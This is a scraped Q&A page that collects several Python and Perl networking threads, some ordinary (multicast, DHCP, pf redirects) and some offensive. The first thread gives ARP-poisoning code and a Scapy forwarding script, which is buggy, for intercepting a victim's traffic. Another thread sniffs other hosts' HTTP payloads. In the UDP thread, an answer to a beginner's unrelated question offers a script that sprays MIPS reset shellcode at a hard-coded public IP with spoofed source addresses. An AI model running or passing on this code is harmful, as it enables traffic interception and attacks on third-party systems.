packet forwarding while ARP poisoning [in Windows] - python

I wanted to make a "proxy" while ARP poisoning, it works with UDP and if I send a pkt to google I see it on my pc using wireshark
def trick(gate_mac, victim_mac):
'''Tricks the victim and the gate_way, using arp'''
my_mac=ARP()
my_mac=my_mac.hwsrc
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
print "TRICKED"
that is the function i wrote to arp poison, now I want to send all the packets I get from the victim's pc to the router/
but I have no clue how to do packet forwarding.

You can simply activate your OS packet forwarding. If you're running Linux, a simple sysctl -w net.ipv4.ip_forward=1 should do that.
You may also need to let the packets pass your firewall;something like iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT should work (if you're using Linux, again).
Under other OSes, you need to find out how to enable packet forwarding and if needed add firewall rules. If you cannot enable packet forwarding, you can run another Scapy script to forward packets for you. Here is an example:
VICTIM_MAC = "00:01:23:45:67:89"
GATEWAY_MAC = "00:98:76:54:32:10"
_SRC_DST = {
GATEWAY_MAC: VICTIM_MAC,
VICTIM_MAC: GATEWAY_MAC,
}
def forward_pkt(pkt):
pkt[Ether].dst = _SRC_DST.get(pkt[Ether].src, GATEWAY_MAC)
sendp(dst)
sniff(
prn=forward_pkt,
filter="ip and (ether src %s or ether src %s)" % (VICTIM_MAC,
GATEWAY_MAC)
)

Related

Python socket listen on all ports

Basically, I want to listen to all ports using the socket module. How do I make it so that port is = to all the open ports on the server? Any guides and or resources are highly appreciated Here is my current code.
import socket
def Main():
host = '127.0.0.1'
port = 5000
s = socket.socket()
s.bind((host, port))
s.listen(1)
c, addr = s.accept()
print('Connection from: ' + str(addr))
while True:
data = c.recv(1024)
if not data:
break
print('from connected user: ' + str(data))
data = str(data).upper()
print('sending: ' + str(data))
c.send(data)
c.close()
if __name__ == '__main__':
Main()
You may try all possible ports and store them in a list. Remember ports below 1024 are reserved and some of the ports may be in use. So, you will get some errors and you need to handle those if you cannot bind to that port. Also, you need a socket for each port since a socket can only listen at one port. Create a function create_socket which returns socket, then store them is a list. If you get error while trying to connect, just pass those errors. This may not be a good approach but it will work for you.
def create_socket(port_number):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('127.0.0.1', port_number))
server_socket.listen(1)
return server_socket
socket_list = []
for port_number in range(1025,65536):
try:
socket_list.append(create_socket(port_number))
except Exception:
pass
Do Packet Filtering and Translation
An alternative would be to setup packet filtering and translation in the host machine to direct all incoming TCP requests to your process, regardless of the destination port. sshuttle does this to tunnel all requests to an ssh server. This way, your process would not need to open thousands of files.
In freeBSD/macOS the configuration is achieved as follows. Other OSs will have their specific way of doing this (e.g. nftables' nft(8) in Debian).
Configuration File
Create a file (named rules.txt for this example) with the following contents:
# Redirect incoming traffic on interface en0 to localhost:5000
rdr pass on en0 inet proto tcp all -> 127.0.0.1 port 5000
Change en0 to the interface that you wish to intercept incoming connections on. Remove inet or replace with inet6 to accept both IP and IPv6 or just IPv6, respectively. Check pf.conf(5) for exact semantics and syntax of this file.
Enable Rules
With administrative access run the following to load up the rules contained in the previously created file.
Enable packet filtering and translation:
pfctl -e
Flush everything (be careful as this will erase existing routing and translating configurations already set):
pfctl -F a
Load the rules:
pfctl -f rules.txt
Test it out.
Also Include Outgoing Traffic
If you also want to include outgoing traffic, as sshuttle does, you should append the next line to rules.txt:
pass out route-to lo0 inet proto tcp all
You can also tweak this rule to be more selective and avoid setting yourself a networking jail (see entry 1 of notes below).
Notes
If you include outgoing traffic, you will be unable to communicate with the outside world unless you receive a connection first or have an alternative interface. This is because outgoing traffic will be routed to your catchall process (due to the route-to keyword).
Beware that this method allows processes bound to localhost to be reachable from the outside. In the setup above, anyone connecting to any port on en0 will be able to talk to the process bound to 127.0.0.1:5000.
Remember to reload the rules after changing rules.txt for them to take effect.
To disable packet filtering and translation run pfctl -d.

Scapy/Python not grabbing outgoing packets

Sorry, I must be missing something, just adapting a very simple script :
from scapy.all import *
def packet_callback(packet):
if packet[TCP].payload:
print '[*] Source : %s || Destination: %s' % (packet[IP].src,packet[IP].dst)
hexdump(packet[TCP].payload)
sniff(filter="tcp port 80 and host 10.0.0.21", prn=packet_callback, store=0)
This shows HTTP packets content from a specified host, but only incoming ones. If I adapt the IP to mine, I can see all of them.
This is a wireless interface I am listening on. Interface is in monitor mode, using tcpdump I can see all packets from everyone.
System is Linux Mint 17.
Any hint greatly appreciated.

How to query gateway for DNS adress by Python or Perl

The Linux/Windows can get DNS address from the router
I need to write a local dns proxy and how can I get the DNS server addresses like the OS does, are there any Perl or Python modules can do this?
Update
The question should be clear, I need some thing to simulate the interface start and the protocol talking with local router, I can not take a tcpdump before a interface starts. Not sure if there is an sample trace file on internet. Possiblely it's not IP protocol which I am not familiar with.
Update2
As I use local DNS proxy server, the TCP configuration is like showing in picture
If I query Net::DNS::Resolver, I get result: 127.0.0.1 which is not what I needed
Really long, formatted comment supporting Steffen's answer.
TLDR: Steffen is correct (+1 BTW). Net::DNS::Resolver should get you the information you need.
Example:
#!perl
use strict;
use warnings;
use Net::DNS::Resolver;
#configure a resolver object using your OS's current config.
my $resolver = Net::DNS::Resolver->new;
print join "\n", $resolver->nameservers;
Tested on Windows & OS X.
If you are serous in your quest for the rope to hang yourself, the protocol you're asking about is DHCP (Dynamic Host Configuration Protocol).
Using DHCP like your OS does, is not a mere "Query" for DNS servers, but a request for a (new/renewed) lease of an IP Address. The fact that things like Gateway, Time Servers & DNS Servers are included are also important, but secondary. If done incorrectly, you may either screw up the relationship between your OS and the DHCP server or convince your DHCP server that your program is another (false) machine on the network for which it should maintain lease information.
gethostbyname uses the resolver function of the underlying OS library. If you want to have more direct access to the DNS packets use Net::DNS::Resolver.
inspired by Steffen Ullrich
I got the issue resolved, by managed taking a DHCP trace and simulated by Net::DHCP::Packet, fortunately it's simple UDP protocol
You need to findout IP/Mac/GW address before using the script
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
use Net::DHCP::Packet;
use Net::DHCP::Constants;
srand();
# creat DHCP Packet
my $discover = Net::DHCP::Packet->new(
Xid => int(rand(0xFFFFFFFF)), # random xid
Flags => 0x0000,
DHO_DHCP_MESSAGE_TYPE() => DHCPREQUEST(),
);
$discover->ciaddr('192.168.1.5');
$discover->chaddr('5cc5d43ca078');
my $handle = IO::Socket::INET->new(
Proto => 'udp',
ReuseAddr => 1,
PeerPort => '67',
LocalPort => '68',
PeerAddr => '192.168.1.1'
) or die "socket: $#";
$handle->send($discover->serialize());
my $newmsg;
if ($handle->recv($newmsg, 1024)) {
my $packet = Net::DHCP::Packet->new($newmsg);
print STDERR $packet->toString();
}
Execution result:
op = BOOTREPLY
htype = HTYPE_ETHER
hlen = 6
hops = 0
xid = eaba416c
secs = 0
flags = 0
ciaddr = 192.168.1.5
yiaddr = 192.168.1.5
siaddr = 0.0.0.0
giaddr = 0.0.0.0
chaddr = 5cc5d43ca078
sname =
file =
Options :
DHO_DHCP_MESSAGE_TYPE(53) = DHCPACK
DHO_SUBNET_MASK(1) = 255.255.255.0
DHO_ROUTERS(3) = 192.168.1.1
DHO_DOMAIN_NAME_SERVERS(6) = 192.168.1.1
DHO_DHCP_SERVER_IDENTIFIER(54) = 192.168.1.1
DHO_DHCP_LEASE_TIME(51) = 86400
DHO_VI_VENDOR_SPECIFIC_INFOMATION(125) = \x00\x00\x00\x00\x14\x02\x06HGW-CT\x0A\x02\x00\x00\x0B\x02\x00U\x0D\x02\x00.
padding [247] = 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
We can see
DHO_DOMAIN_NAME_SERVERS(6) = 192.168.1.1
Is the DNS server address

UDP packets not working for scapy?

I made a simple program that tries to send a UDP packet to my ncat server
here is the code:
from scapy.all import *
sr1(IP(dst="127.0.0.1")/UDP(dport=8080)/"TAG1")
but I get nothing from my ncat server, can someone please tell me what I am doing wrong?
when developing a network related project, i suggest you install capturing software like tcpdump or wireshark. It hepls you to see what is in the network.
To get all packets to 127.0.0.1 using tcpdump, you may use following command:
tcpdump -i eth0 "dst 127.0.0.1 and dst port 8080"
Try this
from scapy.all import *
print("Remote UDP Mips Fuzzer - Reset Shellcode")
for num in range(0,10):
data = "00" * int(str(num))
sc = "3c06432134c6fedc3c05281234a519693c04fee13484dead24020ff80101010c"
a = data+sc
for ip in range(0,255):
for port in range(0,1000):
i=IP()
i.dst="213.48.152.128" #Change this
i.src="10.0"+"."+str(ip)+"."+str(ip)
udp=UDP()
udp.sport=int(str(port))
udp.dport=int(str(port))
sendp(i/udp/a)
See how it works ?

Receiving multicast data on specific interface

tcmpdump can view all the multicast traffic to specific group and port on eth2, but my Python program cannot. The Python program, running on Ubuntu 12.04:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# Multicast port is 52122
sock.bind(('', 52122))
# Interface eth2 IP is 1.2.3.4, multicast group is 6.7.8.9
mreq = socket.inet_aton('6.7.8.9')+socket.inet_aton('1.2.3.4')
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
while True:
print '\nwaiting to receive message'
data, address = sock.recvfrom(1024)
print data
When I use another program to send a multicast packet to eth2, it works and prints the packet. But it fails to see all the current multicast traffic. If I run tcpdump on eth2 on the same port and group as the above program:
sudo tcpdump -i eth2 host 6.7.8.9 and port 52122
it sees both the packets I send from another program AND all the current multicast traffic. It's output looks likes this...
# Packet sent from my other program
09:52:51.952714 IP 1.2.3.4.57940 > 6.7.8.9.52122: UDP, length 19
# Packet send from the outside world
09:52:52.143339 IP 9.9.9.9.39295 > 6.7.8.9.52122: UDP, length 62
Why can't my program see the packets from the outside world? How can I modify it (or something else) to fix this?
Edit:
I should have mentioned, the interface this going over is not eth2 but eth2.200 a VLAN. (The local IP and the tcpdump commands are all run with eth2.200, I just changed that in this question to make it simpler.) Based on this answer that could be the problem?
Edit #2:
netstat -ng when the program is running shows eth2.200 subscribed to 224.0.0.1 and 6.7.8.9`.
tshark -i eth2.200 igmp shows three repeated 1.2.3.4 -> 6.7.8.9 IGMP 46 V2 Membership Report / Join group 6.7.8.9 when the program first starts. When the program process is killed, it shows 1.2.3.4 -> 224.0.0.2 IGMP 46 V2 Leave group 6.7.8.9. There is also an infrequent 1.2.3.1 -> 224.0.0.1 IGMP 60 V2 Membership Query, general, where 1.2.3.1 is 1.2.3.4's gateway.
Not sure if it will help, but the routing table looks like:
Destination Gateway Genmask Flags MSS Window irtt Iface
0.0.0.0 1.2.5.6 0.0.0.0 UG 0 0 0 eth1
1.2.3.0 0.0.0.0 255.255.255.240 U 0 0 0 eth2.200
Thank you!
Finally! Found this question on ServerFault that addresses the same thing. Basically the kernel was not forwarding on / was filtering out the packets because it thought the sourced address was spoofed.
Changed the settings in /etc/sysctl.conf to match:
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.all.rp_filter = 0
net.ipv4.ip_forward = 1
Rebooted and everything works.

Categories